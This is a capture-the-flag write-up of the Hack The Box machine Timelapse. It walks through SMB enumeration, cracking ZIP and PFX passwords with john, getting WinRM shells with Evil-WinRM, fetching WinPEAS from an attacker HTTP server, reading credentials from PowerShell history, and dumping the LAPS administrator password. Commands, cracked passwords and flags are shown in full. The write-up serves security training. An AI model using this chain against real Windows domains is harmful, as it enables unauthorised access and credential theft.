Timelapse
Reconnaissance
Name: timelapse.htb
Starting with the usual Nmap scan we can see quite a few ports open.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-04-24 20:54:30Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn:
|_ http/1.1
|_ssl-date: 2022-04-24T20:56:02+00:00; +7h59m59s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Issuer: commonName=dc01.timelapse.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-10-25T14:05:29
| Not valid after: 2022-10-25T14:25:29
| MD5: e233 a199 4504 0859 013f b9c5 e4f6 91c3
|_SHA-1: 5861 acf7 76b8 703f d01e e25d fc7c 9952 a447 7652
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
53783/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-04-24T20:55:26
|_ start_date: N/A
|_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m57s
Most of them are not that important but if you want to learn more make sure to check out the appropriate notes. We can gather quite a few infos from this output. On port 389
we can see that the server is running Active Directory which we can access through LDAP. Additionally the Kerberos authentication service is running on port 88
. On ports 139
and 445
we can see SMB running (see the note to understand why two ports are used). And last but not least we find out after googling a bit that port 5986
is for WinRM over SSL.
Gaining Access
First I decided to connect to the SMB Share and see what’s inside. To list all shares available we can use the SMBClient.
smbclient -L \\\\timelapse.htb\\
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shares Disk
SYSVOL Disk Logon server share
Trying default credentials like Administrator:password
didn’t work so I couldn’t access the admin shares. I couldn’t connet to the NETLOGON
share but inside the Shares
share we find this.
smbclient \\\\timelapse.htb\\SHARES
smb: \> ls
. D 0 Mon Oct 25 11:39:15 2021
.. D 0 Mon Oct 25 11:39:15 2021
Dev D 0 Mon Oct 25 15:40:06 2021
HelpDesk D 0 Mon Oct 25 11:48:42 2021
smb: \> cd Dev\
smb: \Dev\> ls
. D 0 Mon Oct 25 15:40:06 2021
.. D 0 Mon Oct 25 15:40:06 2021
winrm_backup.zip A 2611 Mon Oct 25 11:46:42 2021
smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (27.1 KiloBytes/sec) (average 27.1 KiloBytes/sec)
The HelpDesk
directory has nothing interesting inside but the Dev
directory had an interesting WinRM backup ZIP File. Unfortunately it’s password protected so we will need to crack it. To do that we first need to create a hash with a tool, zip2john
and save it in a file hash
. Then we can crack this hash with John The Ripper. I used the rockyou.txt
wordlist with john since this is the wordlist HTB always uses when a password is supposed to be cracked.
zip2john winrm_backup.zip > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2022-04-25 12:22) 3.571g/s 12419Kp/s 12419Kc/s 12419KC/s surkerior..supalove
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Lets unzip the zip file with the found password supremelegacy
.
unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
inflating: legacyy_dev_auth.pfx
Inside is a PFX File. A .pfx
file which is in a PKCS#12
format contains the TLS certificate (public keys) and the corresponding private keys. It’s possible to extract the public and private keys. To do that we can use the OpenSSL command, however we discover that the .pfx
file has a password. We can use the same procedure as before wiht the zip file.
pfx2john legacyy_dev_auth.pfx > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:00:42 DONE (2022-04-25 12:50) 0.02339g/s 75596p/s 75596c/s 75596C/s thugways..thsco04
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Now lets extract the public keys using password thuglegacy
with the command OpenSSL.
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out public.key
Now lets get the private keys. Using this command I think (!) you will get a .pem
file which you can encrypt with you own pasword. I used 1234
.
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out private.pem
Enter Import Password: thuglegacy
Enter PEM pass phrase: 1234
Verifying - Enter PEM pass phrase: 1234
At this point I didn’t know that Evil-WinRM, a tool to connect to WinRM servers, does not support encrypted private keys. Unfortunately this is exactly what I created with the command depicted above. I couldn’t figure out why Evil-WinRM didn’t work so I tried to find a different way to connect to the WinRM server. Keep in mind that on the server only port 5986
open which is WinRM over SSL. So I needed to figure out a different way. If you want to skip the explanation how I did it without Evil-WinRM, please skip ahead to Evil-WinRM.
Using Ruby
I found this website which described a way to do it in Ruby however the library used, winrm
, changed quite a bit since the article was written so I found this Page on GitHub and followed instructions there. It was possible to do it in ruby because I the library allowed to add the password for the private key, in our case 1234
. Don’t forget to install the winrm
gem with gem install -r winrm
. Here is the code I used in the irb
aka the Interactive Ruby Shell.
# irb
irb(main):001:0> require 'winrm'
=> true
irb(main):002:1* opts = {
irb(main):003:1* endpoint: 'https://10.10.11.152:5986/wsman',
irb(main):004:1* transport: :ssl,
irb(main):005:1* :client_cert => 'public.key',
irb(main):006:1* :client_key => 'private.pem',
irb(main):007:1* :key_pass => 'pass.txt',
irb(main):008:1* :no_ssl_peer_verification => true
irb(main):009:0> }
=>
{:endpoint=>"https://10.10.11.152:5986/wsman",
...
irb(main):010:0> conn = WinRM::Connection.new(opts)
=>
#<WinRM::Connection:0x00005591db8eccc8
...
irb(main):011:1* conn.shell(:powershell) do |shell|
irb(main):012:2* output = shell.run('$PSVersionTable') do |stdout, stderr|
irb(main):013:2* STDERR.print stderr
irb(main):014:1* end
irb(main):015:1* puts "The script exited with exit code #{output.exitcode}"
irb(main):016:0> end
Name Value
---- -----
PSVersion 5.1.17763.2268
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...} SerializationVersion 1.1.0.1
We first create opts
an object with all the needed information: the endpoint, the public key, the private key and the password to the private key. Then we use WinRM::Connection.new
to create a new connection which we call conn
. Then we can execute Powershell commands. As you can see I printed out the $PSVersionTable
variable. Even though Windows Defender was running on the machine we could get a proper Reverse Shell.
Using Evil-WinRM
However let me show you how to do it properly with a decrypted private key and Evil-WinRM. First decrypt the private key we created before
openssl rsa -in private.pem -out private.key
Enter pass phrase for private.pem: 1234
writing RSA key
Now pass the public and private key to Evil-WinRM using the -c
and -k
options. Also you need to use the -S
option to enable SSL.
evil-winrm -i timelapse.htb -S -c public.key -k private.key
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy
And we get a proper shell! Now lets grab the flag and move to privelege escalation.
*Evil-WinRM* PS C:\Users\legacyy\Documents> type C:\Users\legacyy\Desktop\user.txt
6462339b946aa36f***************
User Flag
6462339b946aa36fcceffc56c5570044
Privelege Escalation
Lets start with uploading WinPEAS with the help of the Python HTTP server. Start the HTTP server.
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
And download it on the victim.
wget http://10.10.14.9/winPEAS.exe -OutFile winPEAS.exe
Now we can run it. Here is the most interesting line.
ÉÍÍÍÍÍÍÍÍÍ͹ PowerShell Settings
PowerShell v2 Version: 2.0
PowerShell v5 Version: 5.1.17763.1
PowerShell Core Version:
Transcription Settings:
Module Logging Settings:
Scriptblock Logging Settings:
PS history file:
C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
PS history size: 434B
Here is important the ouput
*Evil-WinRM* PS C:\Users\legacyy\Documents> type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
Full WinPEAS Output
For the full output see here: Timelapse - WinPEAS Output
Unfortunately I didn’t inspect the ouput close enough to understand that those are basically credentials for the user svc_deploy
. You can see a credentials object being created in Powershell as explained here and you can see an example here. Later it is used to invoke the whoami
command.
Because I didn’t think it is important I tried to find a way to exploit LAPS aka the Local Administrator Password Solution which changed the password of the Administrator periodically. After a while I searched for a writeup online and saw that the solution was in the Powershell history all along. You can simply use those credentials to connect to the WinRM server using Evil-WinRM. Again don’t forget the -S
option since WinRM is running over SSL.
evil-winrm -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -i timelapse.htb -S
At this point we can get the Administrators password which is set by LAPS. The reason we can do that is that the user svc_deploy
is in a group that can see the ms-mcs-admpwd
attribute which stores the admin password in clear text. Lets get this attribute. I found this command here
Get-ADComputer -Filter * -Properties 'ms-Mcs-AdmPwd' | Where-Object { $_.'ms-Mcs-AdmPwd' -ne $null } | Select-Object 'Name','ms-Mcs-AdmPwd'
Name ms-Mcs-AdmPwd
---- -------------
DC01 )&]gJ!@Bup4W{8/gM$FgctPJ
While doing the box I used this small Python script, LAPSDumper. All it does is sending a request over LDAP to retrieve the same ms-mcs-AdmPwd
attribute aka the Administrators password. I suppose it might be helpful if no WinRM port is open. Here is the command to use the script.
python laps.py -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -d timelapse.htb
DS01:)&]gJ!@Bup4W{8/gM$FgctPJ
At this point all that is left to do is login as Administrator with the password we found and get the flag. However since the Administrators password is changing due to how LAPS was configured HTBs scripts aren’t working and the flag is located in the Desktop folder of another Administrator, TRX
.
evil-winrm -u 'Administrator' -p ')&]gJ!@Bup4W{8/gM$FgctPJ' -i timelapse.htb -S
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\TRX\Desktop\root.txt
c0928c986fd7******************
Flag
c0928c986fd7f40349d8018fe141f38c